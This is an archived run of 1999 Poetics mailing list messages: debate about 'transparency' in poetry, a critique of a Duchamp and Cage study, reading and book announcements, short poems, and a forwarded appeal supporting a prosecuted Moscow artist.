chax, a while ago you posted about blues and tragic love, somehting like that. i replied but i don't think my reply ever went to the list. tried to backchannel but i didn't have yr address. i'd love to know more of what you're getting at if you want to hit me backchannel.

This post shamelessly copied from a bbs. The line about the reasons the woman played half-naked caught me....

eryque

From _The Guinness Book of Music Facts and Feats_. It's the side of music they try not to teach us. The subject is, "The Longest Instrumental Work." It's about a piece by Satie titled Vexations. Here's part of the article...

"It consists of a 52 beat unbarred idea, with the indication 'Tres lent,' played 840 times with as little variation as possible. The first performance, organised by John Cage at the Pocket Theatre, New York, in 1963, lasted 18 hours and 12 minutes and was performed by a group of ten pianists in relay. Since then there have been many other performances: the second was in Berlin during August 1966 at which a relay of six pianists took part: for her second stint Charlotte Moorman introduced a novel way of breaking the monotony by appearing unclothed from the waist up. Her reasons were both musicological and financial: Satie, it is said, " loved nudity", and John Cage bet her $100 she wouldn't do it. On this occasion the performance of the music took 18 hours and 40 minutes."

...it goes on to mention a performance done in England (I think) that took 24 hours, by one performer... and another that was done in Australia, another attempt to play the whole thing by one performer, that had to end after only 17 hours - the performer was taken to hospital in a coma.

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74. Rebecca Wolff
Re: transparent pig
Thu 4 Mar 1999

What's wrong with the Steven King sort of transparency? I do believe it is not unconnected to the later "trance, or spell" that you refer to in the sense that there is undeniably something freakishly supernatural about subjectivity when it seems objective. Assuming that's what you meant by Steven King sort of transparency.

Let me back up: could someone just give me a short treatise on past critiques of "transparency"; what's the trope?

Rebecca

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75. Lowther,John
Re: transparent pig
Thu 4 Mar 1999

---

i think that Steven is on to something here that i often think about (even write about) - & too don't know that 'transparency' is the best word for it

for me, my early experiences of listening to Cage's Etudes Australes had somethingof this effect in another medium - but i think i've had similar experiences with even the most material of reading; Finnegans Wake, Tender Buttons, "A"-22/23 - i think that what Steven is getting at is something like what Charles Peirce was talking about when he spoke of "firstness"

perhaps this only seems like an epiphany b/c most of our time is spent in other senses of relationship to the world/ourselves

i've been persuing some of these types of questions with the particpants in Peirce-L - specifically i brought up Pound's famous 'three types of poetry' [melo- phano- logo-] and explored the analogy to Peirce's categories - other members of Peirce-L suggested using his semeiotic instead of his categories w/relation to Pound - i'm pursuing that at present

)L

↑ Index

76. Lowther,John
Re: transparent pig
Thu 4 Mar 1999

Rebecca

you cd find much of the argument against transparency in Silliman (someplace in THE NEW SENTANCE) and Bernstein ("The Artifice of Absorption" in APOETICS) also in Andrews' critical stuff someplace

the idea in brief (and thus with potentially large distortions - my apologies to the makers of these arguments) is; that, seemingly transparent language is used to report on the world, represent the way-things-are, etc - b/c of its transparency, its hiding of it's constructedness and ideological assumptions, it is used as tool to maintain power, status quo, etc the issue then becomes -

is Stephen King supporting the powers that be thru his use of this "transparent" mode - and the answers differ depending - i think Andrews wd say yes

i suspect that in some of these formulations that too much emphasis is placed on the power of form - the 'politics of poetic form' to use the title so well known

)L

> *-----Original Message-----*
> *From: Rebecca Wolff [SMTP:[redacted]]*
> *Sent: Thursday, March 04, 1999 11:13 AM*
> *To: [redacted]*
> *Subject: Re: transparent pig*
>
> *What's wrong with the Steven King sort of transparency? I do believe it is not unconnected to the later "trance, or spell" that you refer to in the sense that there is undeniably something freakishly supernatural about subjectivity when it seems objective. Assuming that's what you meant by Steven King sort of transparency.*
>
> *Let me back up: could someone just give me a short treatise on past critiques of "transparency"; what's the trope?*
>
> *Rebecca*

↑ Index

77. **Linda Russo**
Re: transparent pig
Thu 4 Mar 1999

---

when I think "transparent poet" and "dissappearing words" this morning I think Notley, whose long poems get very trance-like, and who, according to her 1992 intro to _the Scarlet Cabinet_, a co-collection of texts with Douglas Oliver, wants to get back to "essences," to be "invisible" so as to stop filling the world with more "man-made" material (she calls it "detritus" and I think lovingly of very "opaque" (but not dense or in-sensible) material-cluttered poems -- But even Stein can be read "transparently").

maybe the problem with the word "transparency" is it's too value-laden and implies that the artifice it's meant to conceal is negative ("oh she's so transparent"). Notley prefers "invisible" as opposed to the non-visible, & mabye Steven, this is close to what you're getting at. Notley's "escape" to the invisible is not an escape to the transparent "self" -- the "I" that so many self-posessed lyrics assume, but to the "air" -- the group of the oral tradition, a medium that's so "transparent" that it's not visible, yet so utterly "visible" that it doesn't need (written) words! Incredible!

So, what's "wrong" with King in this context: made-for-t.v./mediation/cluttered commercial time vs. made-for-people/in Notley's ideal unmediated -- "Things must be thouht out & saved in the air [and not on the air-waves], in order to do less harm to the world"

As for critique Marjorie Perloff's "Against Transparency" would be an obvious place to start (published in her 1991 collection _Radical Artifice_)

↑ Index

78. sylvester pollet
1999 MLA Session
Thu 4 Mar 1999

Dear Chris et al, I'm forwarding this at the request of Barry Ahearn. He has had a few more responses, but not yet enough to make the session go, so jump in. Please reply to him, not to list nor me. best, Sylvester

> *From: barry ahearn <[redacted]>*
> *Organization: Tulane University Dept. of English*
> *Subject: 1999 MLA Session*
> *To: [redacted]*
>
> *The call for papers for one of the Pound Society sessions at the 1999 MLA, "Pound's Tribalisms," has received a single response. Therefore I am extending the deadline to March 15. Here is the call once again: "Pound's Tribalisms. Pound's interest in aspects of tribal behavior; Pound as a figure around whom a 'tribe' gathered. Ten-page papers, abstracts, or proposals by 15 March 1999 to Barry Ahearn." Send them to me c\o Department of English, Tulane University, New Orleans LA 70118. If you want to submit an abstract or proposal via e-mail, feel free to do so.*
>
> *Barry Ahearn*

↑ Index

79. Pete Neufeld
I wanted to invite you and Yedda
Thu 4 Mar 1999

---

to the ATTIC on Saturday March 13th (5pm) where I'll be reading with Sarah Mangold. Hope the two of you can make it. Pete

↑ Index

80. Prageeta Sharma

Fwd: events

Thu 4 Mar 1999

Return-Path: <[redacted]>
air-yc01.mail.aol.com (v56.26) with SMTP; Thu, 04 Mar 1999 14:08:47 -0500
rly-yc02.mx.aol.com (vx) with SMTP; Thu, 04 Mar 1999 14:08:30 -0500
by medisg.Stanford.EDU (8.8.8/8.8.8) with ESMTP id LAA10300
for <[redacted]>; Thu, 4 Mar 1999 11:07:55 -0800 (PST)
From: [redacted]
by imo23.mx.aol.com (IMOv19.3) id 5JDIa15952
for <[redacted]>; Thu, 4 Mar 1999 14:07:05 -0500 (EST)
Date: Thu, 4 Mar 1999 14:07:05 EST
To: [redacted]
Subject: events

Hello Everyone

I will give you an update of some events happening in March that have to do with your friend Prageeta Sharma and her friends which are also your friends too. I apologize in advance for any inconvenience and shameless self-promotion and promotion in general.

Prageeta Sharma is reading at the Asian American Writer's Workshop on March 11, at 7:30 (i think-- more info later) at 37 St. Marks Place.

Book Party at Prageeta's place for Jeff Conant's book The Evacuated Forest Papers (Buck Down Books) on March 13 at 8pm. flyer to come!

The Sleeves (Maggie, Jeanne, & Prageeta) will be playing a St. Patrick's Show at The Charleston Bar in Brooklyn. flyer to come!

Maggie Zurawski and Prageeta Sharma read at The New College in San Francisco March 19.

Please e-mail me for more info and I will post more info soon about the events very soon.

Best Wishes!

Prageeta Sharma

↑ Index

81. acgold01
Levine on transparency
Thu 4 Mar 1999

Sorry I've forgotten who it was who asked for Phil Levine references--but anyway, the passage that Mark Prejsnar mentions (the desire for a poem where the words are invisible) is indeed from a Levine interview, and it's cited in the middle of a couple of pages on Levine in Marjorie Perloff's *Radical Artifice.* Far be it from me to correct Ron on his own oeuvre, but I don't think he cites it in "Disappearance of the Word," though granted he does mention Saul Bellow as a novelist of the disappeared or invisible word. (OK, "near be it to me," since I've just done it.)

Alan

↑ Index

82. Erik Sweet
"Tool a Magazine" # 2 for SALE! Now!
Thu 4 Mar 1999

Is is finally here folks! Yes it is!

"Tool a Magazine" Issue Number 2 available now for 7$ pp
mailorder to: P.O. Box 3125, Albany NY 12203. Checks payable to:
Erik Sweet or Lori Quillen.

Support our magazine and the great poets we publish by purchasing this fine issue,
paid for straight out of the pockets of the editors, which includes:

Alice Notley, Clark Coolidge, Paul Metcalf, Hoa Nguyen, Kenneth Koch
Chandler Lewis,Mallarme trans. by William Marsh, Jorge Clar, Dale Smith,
Brian Lucas, Eleni Sikelianos, Brenda Coultas, John Bennett, John Latta, Travis
Ortiz, Rod Smith, Chris McCreary, Randy Prunty, Todd Moore, Pamela Lu,
Summi Kaipa, Phil Good, and pictures by Kevin Opstedal and Brenda Iijima,
plus more.

Please order now as our first issue went rather fast!

Erik and Lori

↑ Index

83. Tom Beckett
a.l.nielsen's new book
Thu 4 Mar 1999

New from Sink Press is A.L. Nielsen's VEXT. One can only wonder what will come nexed.

↑ Index

84. Safdie Joseph
McNaughton in Seattle, Vancouver
Thu 4 Mar 1999

Billy Little recently nominated Duncan McNaughton's "Black Spoon" for the long poem list that was going around recently. Here's a snippet:

_____

some bugle to wake up the nation
some furious trumpet to wake up the town
what they used to call the city
when they used to call it pretty
now it's dirty from its tuque
to its boot

it only needs to shake off the dust
dusty ash from a smoking moon
fallen dusty ash
from some burned-out suns

that's why spirit weeps at the crossroads
that's why lips glisten with tears
that's why she cut out su lengua
when she opens her mouth to sing she makes
the sound of water gurgling down a harsh drain

Federico asked to pin a gaudy
orange pomegranate flower
to her black tunic of mail
he brought a smile to her lips glistening with tears

sus labios reluciendo
con lagrimas

les fontaines de jouvence
some old negro gardener who tends that tree
up and down San Antonio ya se va
by the name of Khidr
he plays that long slender flute

that ney of Konya
which echoes inside some tomb

its emerald roof domed against an ice blue sky

Since Valparaiso (where that poem appears) was published in 1995, Duncan has published three more books, Kicking the Feather, The Wrapped Church, and the new another set / of circumstance from hawkhaven press in San Francisco. Bob Creeley recently commented, somewhat incredulously, that an audience for McNaughton's work was still slow in forming. Residents of or visitors to the Pacific Northwest will soon have a chance to add themselves to that rare group, as Duncan will be reading in Seattle (with Joe Safdie) on Tuesday, March 16 at

Open Books
2414 N. 45th St.
7:00 PM

and three days later in Vancouver, at 8 PM, where he'll be delivering a lecture at Capilano College, previously advertised on this list. ("In this lecture Duncan McNaughton will discuss the relationship between poetry, history, and geography, arguing there is no history without geography, and that poetry as a form is central to contemporary thought. He will read from and speak to the work in his most recent book, another set / of circumstance. (hawkhaven).")

That's in Room 148, Cedar Building, Capilano College, 2055 Purcell Way, North Vancouver

All within possible reach of these events are encouraged to show themselves at the respective doors . . .

↑ Index

85. Lowther,John
REVIEW of "difference/indifference" - Roth & Katz
Thu 4 Mar 1999

[silence] / poetix

are (m)any of you familiar with this book ?
difference/indifference musings on postmodernism, marcel duchamp and john cage
introduction and text by Moira Roth, commentary by Jonathan D. Katz

i found it troubling

in the abstract i think these sorts of inquiry are quite valid and ought to be pursued in the service of increasing out knowledge and understanding of artistic (& other sorts of) figures

Roth's piece on Duchamp as "dandy" is interesting and has a certain amount of explanatory force - her paper entitled "The Aesthetic of Indifference" which focuses on Cage, Rauschenberg, Cunningham, Johns and Duchamp as precursor/model the thesis seems to be that "indifference" - toward politics - toward social issues - etc - was a front for having no way to respond to the repressive climate of the 50s/coldwar/McCarthy etc her study also seems to take for granted that an historical explanation is not only called for, or revealing in some ways, but The Explanation she talks about Rauschenberg's *White Paintings* and speaks of Cage's 'haiku-like response' to them - here is the Cage text she cites (in abbreviated form? it's from Kostelanetz ed. _John Cage_ p.111 - i haven't had the chance to check it out yet);

> To whom
> No subject
> No image
> No taste
> No object
> No beauty
> No message
> No talent
> No technique (no why)
> No idea
> No intention
> No art
> No feeling...

Roth calls this "an unconscious tragic acknowledgement of total paralysis" (p.41) next she says "Cage would object to such an interpretation. He would, I believe, argue that the denial of conventional meaning was in order to allow a different sort of meaning to emerge: that he was interested in the 4'33" piece, for example, in getting the audience to make music/sound rather than merely listen passively. But the negativity and passivity of such works cannot be disassociated from the historical moment at which they were produced." (ibid) the 1st thing that jumps out is the "getting the audience to make music/sound rather than merely listen" - is she saying 'make music' in the sense of 'find the music in the sounds occuring' or is she suggesting people hum or beat on chairs ? ignoring that qualm, how is the music negative and passive if it's also a call for people to act, to attend to sound, as an irreducible thing (& thus a positive) - as to whether things can be disassociated from their historical moment - i'd

argue that they *can* and in fact *are* daily - whether this is a *good* thing or just a fact i don't mean to say (as i don't know)

Katz disputes Roth's reading of an "aethetic of indiference" and contrasts his of a "Politics of Negation" and recuperates the same complex of actions attitudes etc as a queer strategy in a straight hegemony - this reading (especially re Johns) i found initially much more interesting - only to be troubled by other things Katz (p.148); " Cage sought, in his words "to just erase the difference between art and life. Through the trope of silence, Cage thought he had found one such eraser. But if we examine closely the validity of this claim, we will find that it didn't quite work out as Cage would have us believe. The efficacy of Cage's silence as an aesthetic trope is in fact entirely dependant on its distinctly artistic context. Outside the concert hall, silence just doesn't sound the same. Given that in art and liofe there are separate signifying environments for silence, it follows then that we have to recognize a distinction between Cage's theory of silence annd the everyday practice of it--art, in short, is different from life. While it is certainly true that Cage advocated an erasure of this distinction, it is equally true that he didn't succeed. As I see it, he couldn't have; no one can. Context seems to be a determinant,and art, even art that claims its identity with life, simply can't will it away."

Katz then moves thru the possibilities that postmodernism offers suggesting that he could 'deconstruct these art/life, theory/praxis binaries, and argue...in favor of the mutual implicativeness of these terms' - he decides against this as he judges that the binaries do important work and because contesting terms that he uses would be 'disingenuous'. next he exercises another route to "mitigate this life/art distiction through refernce to Cage's works themselves" - saying that perhapos Cage's work canot be properly confined to the realm of art - this notion he feels is dashed by "an even glancing acquaintence with Cage studies" which shows that such interests are "what we can agree to call, with suitable embarassment, 'high culture,' a term used precisely for its ability to mark a difference from everyday life" (p.149) "Thus in the face of our objections--themselves inspired in part by Cage's own visions--is it the case that his art does remain ineffably different from life and his theory from his practice? Or at least, in the ordinary world where all of us actually live? And is any attempt to deny this difference at best false consciousness, and at worst a seducton away from the materialist realities of an often inequitable social practice toward the seductive phantasm of an art utopia." (ibid.)

these passages and the whole of this book seems based on a misunderstanding of what silence means for Cage, Katz writes "silence is thematized, made palpable as a silencing." (p.53) - does this make any sense as a description of the one's experinec of 4'33' ? - i think not Katz wants to be able to treat Cage's music and ideas as 'objects suitable for subsequent analysis' (Cage)

instead of registering that they are processes that take place in the 'ordinary world where all of us actually live' - his inability to see that 4'33' is (or could be) still going on - is not bounded by its time markings - is why his otherwise very perceptive analysis sails past its object

someplace i read a paper about Duchamp's Three Standard Stoppages - the author pointed out that three were *needed* - one wd be an alternate - two an either/or - but three, three was the beginning of multiplicity - Katz, in his feints toward deconstruction (when it serves his argument) illustrates a tendancy toward and then away from One and Two - but like a binary that Cage accepted; object/process, and those Katz seems to feel are 'disingenuous' not to continue using; art/life, theory/practice - i wd like to suggest that our experience is never monadic, rarely dyadic, but resolutely triadic - a fact that allows us to use terms like art and life and have no need to take issue with binaries at all

but there are interesting things in the book other than these articles i've had so much trouble with - interviews with Vito Acconci, Robert Smithson, George Segal and Cage as well as a piece by Roth on the art of Shigeko Kubuto that has me interested learn more

finally i wonder - on page 48 there is aphotograph of "a serious game of skee-ball in Dillon's Bar" - identified in the caption are Johns, Anna Moreska, Rauschenberg, Cunningham and Cage - but there is another figure - between Moreska and Johns - November 10, 1959 - could that over-exposed forehead mark Frank O'Hara ?

)L

↑ Index

86. komninos zervos

Re: BARDFEST 99 Berks County ~ Reading, Pennsylvania

Thu 4 Mar 1999

Poetry that performs itself: Cyberpoetry at the State Library

Renowned Melbourne-born poet Komninos Zervos has just commenced a unique new
project as
Cyberpoet in Residence at Experimedia at the State Library.

Komninos is one of Australia's most popular performance poets whose most recent
work uses colour,
movement, sound and text to create cyberpoetry, an exciting new kind of poetry

accessible via the
Internet.

The ten week project, cyberpoet@slv, is the first to be supported by Arts Victoria's 'Incubator', an innovative program that encourages artists to explore the creative possibilities of multimedia technology.

'Over the past four years I've been keen to develop a poetry that performs itself. The multimedia Internet provides the perfect vehicle for my text animations. Cyberpoetry moves in time and space¾it can't be published in traditional print media but it's true to the principles of poetry with words evoking images.'

Through cyberpoet@slv Komninos will compile an online database of contemporary
Victorian poets and
poetry for the State Library of Victoria. He will also create a poetry zine, working with thirty of the poets
to present 'cyber' versions of their poems¾sharing his skills with local writers.

Victorian poets are invited to contact Komninos to register their interest and be
included in the
database. They are also welcome to visit him at the Library to see his work and discuss ideas for
producing multimedia poetry.

The cyberpoet Website will be launched publicly at the State Library on 5 March
with a performance by
Komninos and a special guest appearance by Mark Amerika, well known Hypertext
online digital
novelist.

Komninos can be contacted by telephone 03 9669 9786, email [redacted]
or fax 03 9669
9958.

Examples of cyberpoetry can be found on Komninos's site at http://student.uq.edu.au/~s271502/.

The project Web site is www.experimedia.vic.gov.au/cyberpoet/

Komninos Zervos is available for interview.

For further information please contact:
Indra Kurzeme, Experimedia, State Library of Victoria. Tel: 03 9669 9991

↑ Index

87. Rachel Levitsky
Re: Lewinsky/Lansing/Kyger
Fri 5 Mar 1999

I have to say I was very torn but Monica won. Monica has been an important cultural event for me. Monica has no trouble merging her politics with her poetry. I am not joining my voice to those facile mockers; I seriously support this woman who has been so railroaded by the most powerful people in the country and has not only maintained a level of grace in her beautiful zaftig body, but is willing to speak abortion to america, in this dangerous climate. And the line about Bill Clinton's teary eyes is priceless.

RD Levitsky

Brian Lucas wrote:
>
> Honey from the Rock, or Goo Stew
>
> Thousand-petalled cascades from the Orchards of Sleep
>
> Skeleton-echo preserved in glass, the Dark Grammarian
> grey-haired, in black ---a blue oak divined in well-bottom
>
> his Heavenly Tree a Great Form without Shape
>
> Gerrit Lansing last night at the Poetry Project. No one should've missed
> it--and many, thankfully, didn't.
>
> A great reed boat dropped him off at the lectern, a flock of seraphim took
> him back to Gloucester. The Tree he lives in, for decades--through the
> Boston axis--where's he been, where have we been? --grows upward, out from
> the groin, partaking of spherical musics, cloud-manna.
>
> Joanne Kyger was next, a welcome blast of Bolinas beachlounging--the
> thunder blasting behind her--"I'll wait for Zeus to finish..."--pure
> California iceplant farmer, scouting white foams for bodhi leaf. Dark
> glasses she wore were actually satellite dishes picking up the quiet
> descriptive transmissions that eventually appears in the pomes. Damn fine
> clarity. I wanted to go back home with "Miss Kids" for tea--Stinson Beach
> huts appearing off to her side--

↑ Index

88. George Bowering

Re: Bibliographic inquiry: Vancouver conference

Fri 5 Mar 1999

> *A student of mine needs to learn as much as she can about the 1963 Vancouver poetry conference*

There was a copy of the journal _Olson_ that had some stuff from the conference. There was Carol; Berge's scurrilous report published by Fuck You Press.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

89. Poetics List

Two quick announcements / Neufeld

Fri 5 Mar 1999

Had to reformat this a bit. Chris

---------- Original message (ID=EA1A13FE) (35 lines)

From: Pete Neufeld <[redacted]>
Subject: Two quick announcements
Date: Thu, 4 Mar 1999 10:17:01 -0800

On March 13th at 5 pm I will be reading with Sarah Mangold at the ATTIC in San Francisco. 5pm on 24th St. across from the BART.

The second announcement-- _melodeon poetry systems_ will be releasing Jono Schneider's _Walking & Talking_ next week. The chapbook is $6 plus $1.50 for the postal service plus any off chance of a gratuity that will not be tax deductable. You can make checks payable to me and send them to 3573 19th. St. SF CA 94110.

Thanks. Pete

↑ Index

90. Daniel Kane
John Ashbery on WriteNet
Fri 5 Mar 1999

There is an interview with John Ashbery up on Teachers & Writers WriteNet site. In it, Ashbery talks sweetly about the process of composition...you can also download a WAV file (takes about 3 minutes) of Ashbery reading his poem "What is Poetry" (from_Houseboat Days_).

Go to

http://www.writenet.org/poetschat/poetschat_jashbery.html

--daniel

↑ Index

91. Mark Wallace
reading at Bridge Street Books, Sunday March 7 (fwd)
Fri 5 Mar 1999

Those of you who will be in Washington, D.C. are welcome to join us on Sunday, March 7 at 8 p.m. at Bridge Street Books (2814 Pennsylvania Ave. NW, next to The Four Seasons Hotel in Georgetown, near the corner of Pennyslvania and M) for a reading by BOB PERELMAN and MARK WALLACE.

BOB PERELMAN is the author of ten books of poetry, including the recently published _The Future of Memory_. _Virtual Reality_, _Face Value_, and _The First World_. He has also authored two influential critical studies _The Trouble with Genius: Reading Stein, Joyce, Pound, and Zukofsky_ and _The Marginalization of Poetry: Language Writing and Literary History_. A poet of wit, politics, and passion. John Ashbery writes of Perelman: "Most poets define poetry by creating it. Bob Perelman creates it by defining it, and is thus one step ahead of all the poets under the sun, one step closer to colliding with Zeno's vanishing point, to merging coyote with road runner, to winning the hand."

MARK WALLACE is the author of a number of books of poetry, most recently _Nothing Happened and Besides I Wasn't There_ and _Sonnets of a Penny-a-Liner_. His book _Temporary Worker Rides A Subway_ won the 1998 New American Poetry Award and is forthcoming from Sun and Moon. He's going to read some poems but also preview some sections from a novel, _Dead Carnival_, which, with its mindless, loping, zombie-like gait has been following him relentlessly for most of the past decade.

↑ Index

92. Judy Roitman

Re: REVIEW of "difference/indifference" - Roth & Katz

Fri 5 Mar 1999

> To whom
> No subject
> No image
> No taste
> No object
> No beauty
> No message
> No talent
> No technique (no why)
> No idea
> No intention
> No art
> No feeling...>

Sounds like a riff on the heart sutra to me. Anybody know for sure?

But for sure it ain't a haiku-like response.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

93. Pritchett,Patrick

Re: a.l.nielsen's new book

Fri 5 Mar 1999

Aldon Nielsen's VEXT is vexing indeed, as only poetry that rubs you all the right ways can be. The lyric here is taken to the mat. Only to be declared the winner. Enter pathos.

"But this

This particular sweetness

Was not then
To be had."
("Imputation")

Till slapstick makes the most of its numerous cameos.

"We've got a bad code
And we can't seem to shake it."
("Language - Nudity - Violence")

Has Nielsen "gone Hollywood"? VEXT frolics with the rhetoric of the Biz, its absurdities, it self-gloryings. This is the world we live in - not the world, but the words for the world. Everywhere, the framing properties of language come up against their reflection in the mirror. Hello, nice to see you again. Didn't know you were in town. Like Harpo Marx's Lacanian schtick. Rumors of transparency. This Bud's for you.

"The eye always sways across mixing but
Accretion comes refusing content"
("Interlalia")

The sweet desultory impenetrable nexus of all our days of words, numbered. So that to speak at all is truly to be vexed. Sound the high note anyhow, then the low.

"By this untelling I have annexed
A space worried from speech."
("Glottophagia")

There's a singular elegance and intelligence and a truly delicious wit at work here. VEXT is a perpetual delight from any point to the next.

(The preceding has been an announcement of itself. No animals were intended during its production).

Patrick Pritchett

↑ Index

94. Lowther,John
query JOSHUA BECKMAN
Fri 5 Mar 1999

---

met this fella some time back
can't seem to score an email for him
can someone help ?

)L

↑ Index

95. Steven Clay
Jack Spicer's GOLEM
Fri 5 Mar 1999

Granary Books announces the publication of Golem by Jack Spicer with collages by Fran Herndon and an afterword by Kevin Killian.

<bold>

</bold>The manuscript of Spicer's Golem poems was discovered by Fran Herndon and Kevin Killian in 1997 in a "...dog-eared manila folder. The first poem in this series saw print-in the 'Spicer issue' of Manroot-only because Lew Ellingham had copied it onto a brown paper bag after Spicer posted in on the wall of Gino & Carlo's bar. That it had any successors few guessed or knew." The seven images accompanying the six poems are from Herndon's "Sports Collages," her "painterly re-working of pop images cut from the pages of Sports Illustrated and other mass-market magazines...." "Spicer and Herndon draw on [the] complex legend [of the golem] to animate their conception of the athlete- and poet-as hero and monster, corpse and avenger. For these artists, the corruption of innocence under the nexus of capital is as simple as, and as confounding as, a 'fix.'" (All quotes from the afterword.)

Golem is designed and printed letterpress by Philip Gallo at the Hermetic Press. The images are beautifully reproduced, digitally, in full color. The edition consists of 150 copies signed by Fran Herndon and bound at the Campbell Logan Bindery in paper over boards. 5 1/2" x 8 1/2", 20 pp. One hundred copies are for sale. $150.

The poems, images and afterword can be seen at:

http://www.granarybooks.com

↑ Index

96. Don Cheney
Amazon.com
Fri 5 Mar 1999

---

check out the Amazon.com url below and skip down to the CUSTOMER COMMENTS for some insightful thoughts on a collection of FAMILY CIRCUS cartoons called _Daddy's Cap Is On Backwards_.

http://www.amazon.com/exec/obidos/ASIN/0449148165/002-4894952-1321067

don cheney

↑ Index

97. Poetry Project
readings & tiny presses
Fri 5 Mar 1999

THIS WEEK!

AT THE POETRY PROJECT!

Tonight, Friday, March 5
at 10:30 pm
Poets Who Rock with Ed Friedman, Alice B. Talkless & Amy Mayhem, Rebecca Moore, David Greenberg, and Lisa Karrer

Monday, March 8
at 8 pm
Bill Berkson reads solo
from his upcoming autobiography "Since When"

Wednesday, March 10
at 8 pm
Sherman Alexie & U Sam Oeur
authors, respectively, of Indian Killer and Sacred Vows

AND

New on the Website

The Tiny Press Center is now here!
With essays by Katy Lederer and Renee Gladman
in the "Features" section
http://www.poetryproject.com

There's big, medium, small.
And then there's tiny.

Coming soon: reviews, contact info & mentions (chapbooks, journals, etc.) so send your tiny publications to us at:

The Tiny Press Center
St. Mark's Church
131 E. 10th St.
New York, NY 10003
[redacted]

↑ Index

98. Elizabeth Treadwell
Mlinko info?
Fri 5 Mar 1999

Hi,
does anyone have contact info for Ange Mlinko?
Please b/c, and thanks.
Elizabeth T.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

99. Safdie Joseph
Re: Bibliographic inquiry: Vancouver conference
Fri 5 Mar 1999

And there was Muthologos I, with a transcript of a panel discussion at the conference with Olson, Ginsberg, Duncan and Creeley (I don't think Spicer was on that particular panel, but George was probably in the audience, right?)

> ----------
> From: George Bowering [SMTP:[redacted]]
> Sent: Friday, March 05, 1999 12:25 AM
> To: [redacted]
> Subject: Re: Bibliographic inquiry: Vancouver conference
>
> >A student of mine needs to learn as much as she can about the 1963 Vancouver
> >poetry conference
>
> There was a copy of the journal _Olson_ that had some stuff from the conference. There was Carol; Berge's scurrilous report published by Fuck You Press.
>
> George Bowering.
>
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]

↑ Index

100. A. Jenn Sondheim
Jew
Sat 6 Mar 1999

^

Jew

I number.
I number them.
I number myself among them.
I would have been numbered among them.
I might have have numbered them.
I could have been numbered among them.
I was numbered.
I was numbered among them.
I am numbered.
I am numbered among them.
(I count myself among them.)
(I am counted.)
(I am unaccounted for.)
(I am unaccountable.)

↑ Index

101. Peter Minter
Australian Poets in NYC - sublet? readings?
Sat 6 Mar 1999

Dear All,

A friend and I are travelling from Sydney to NYC for the Barnard conference etc.

Does anyone out there know of sublet/accomodation possibilities for the days March 29 through April 15? A very short period of time but any help or advice would be most appreciated.

Any information on other readings or events would be great too.

Please backchannel if you can help,

thanks

Peter Minter

↑ Index

102. Ron Silliman
Bob Rosenthal email address
Sat 6 Mar 1999

Does anyone have an email address (or phone) for Bob Rosenthal?

Thanks,

Ron Silliman

↑ Index

103. Rebecca Wolff
Re: transparent pig
Sat 6 Mar 1999

Thanks for all expositions and explanations re: transparency.

I have come to believe recently, and this discussion reinforces this formulation for me, that all ideology, all, is merely Taste in Disguise.

↑ Index

104. miekal and
YOUR help needed!! - Russian artist under prosecution for his art
Sat 6 Mar 1999

Subject:
RHIZOME_RAW: YOUR help needed!! - Russian artist under prosecution for his art
Date:
Sun, 07 Mar 1999 00:24:10 +0300
From:
alexei shulgin <[redacted]>
To:
[redacted], [redacted], [redacted], [redacted], [redacted]

[apologies for cross-postings!]

Moscow artist Avdei Ter-Oganian is about to go to prison for his performance "Young Anti-Christ" which he made in last December at "Art Manege" Fair in Moscow. During the peformance he was proposing to the fair visitors to profane mass-produced copies of Orthodox icons and was giving instructions how to do it, i. e. crash with an axe (which was supplied), write obscene words and put obscene drawings on them. Few icons were profaned in this way. The action caused negative response from part of the audience which grew in a scandal. His installation was taken off the wall and further performing was prohibited by

the Art Fair director. Moreover, the curator of non-commercial part of the Fair has later lost her job. Avdei’s action attracted a lot of responce in media. Most negative (and very fast) one came from a right-wing oriented TV channel "Moscovia" which devoted few (!!!) programs called "Russian House" to convicting of Avdei and calling to requital. They were accusing him of being a Satan’s envoy, offender of national sanctuaries, Orthodox religion, Russian Nation, fathers’ faith and Russia itself. In these programs all participants of the performance as well as artists and curators who share Avdei’s ethical and aesthetical principles were named (virtuos people should know their enemies!). In TV programs and newspaper articles Russian Orthodox priests openly called for punishment for Avdei. After this massive media attack Moscow City Public Prosecution Department has initiated a case ("Kindling of religeous hatred"). Now Avdei is treatened by 2-4 years of prison. Avdei says about his action: "I am continuing ironical thread in art. My action was a parody on modernism. Using banal gestures of agression towards public, culture, etc. I am coming back to the roots of epatage. This was the main idea of my work and as we can see it absolutely doesn’t fit our orthodox space. Analyzing it from the social and political points of view one can talk about protest against coming back ideology (this time - orthodox), one can talk about unjustice: look - people are not getting salaries for their jobs and at the same time enormous money is being spent on reconstruction of aesthetically miserable Temple of Christ the Redemptor (in Moscow). Orthodox icon was not an accidental choice, It was an attempt to find the painful point of the society. Today, when Russian intelligentsia is turning right without any reflection about that I consider my action as very topical. Intelligentsia was bought by clishes. It’s interesting to try to stop it and make thinking." Advocats of Avdei have their points: his action must be evaluated by art critics and by the Church, but not by the state. He did offend religeous feelings of people but the question is: should true christians reply with forgiveness or should they apply to the Public Prosecution Department? Avdei can be convicted very soon. Besides his personal problem this would bring real danger to the freedom of artistic expression in Russia because it creates the case.

You can help now!

1. By writing to Russian Embassy in your country and expressing your attitude to this situation.
2. By acting through media.
3. By writing directly to Moscow City Prosecution Department (Novokuznetskaya Ul. 23A Moscow 113184 Russia) and/or to Khamovniki District Court (7th Rostovsky pereulok 21 Moscow 119121 Russia). Please point "Avdei Ter-Oganian case".
4. By sending emails to [redacted] - they will be forwarded

to the above-mentioned institutions.
5. Spreading the word.

If you work for an institution please make your letter as offical as possible. If you would like to contact Avdei - his telephone in Moscow: [redacted]172 (speaks only Russian). You can also contact him via email through me.

You can see one of Avdei's projects at: http://www.cs.msu.su/wwwart/caw

Alexei Shulgin
+

↑ Index

105. Ward Tietz
Sound (new DOC(K)S)
Sat 6 Mar 1999

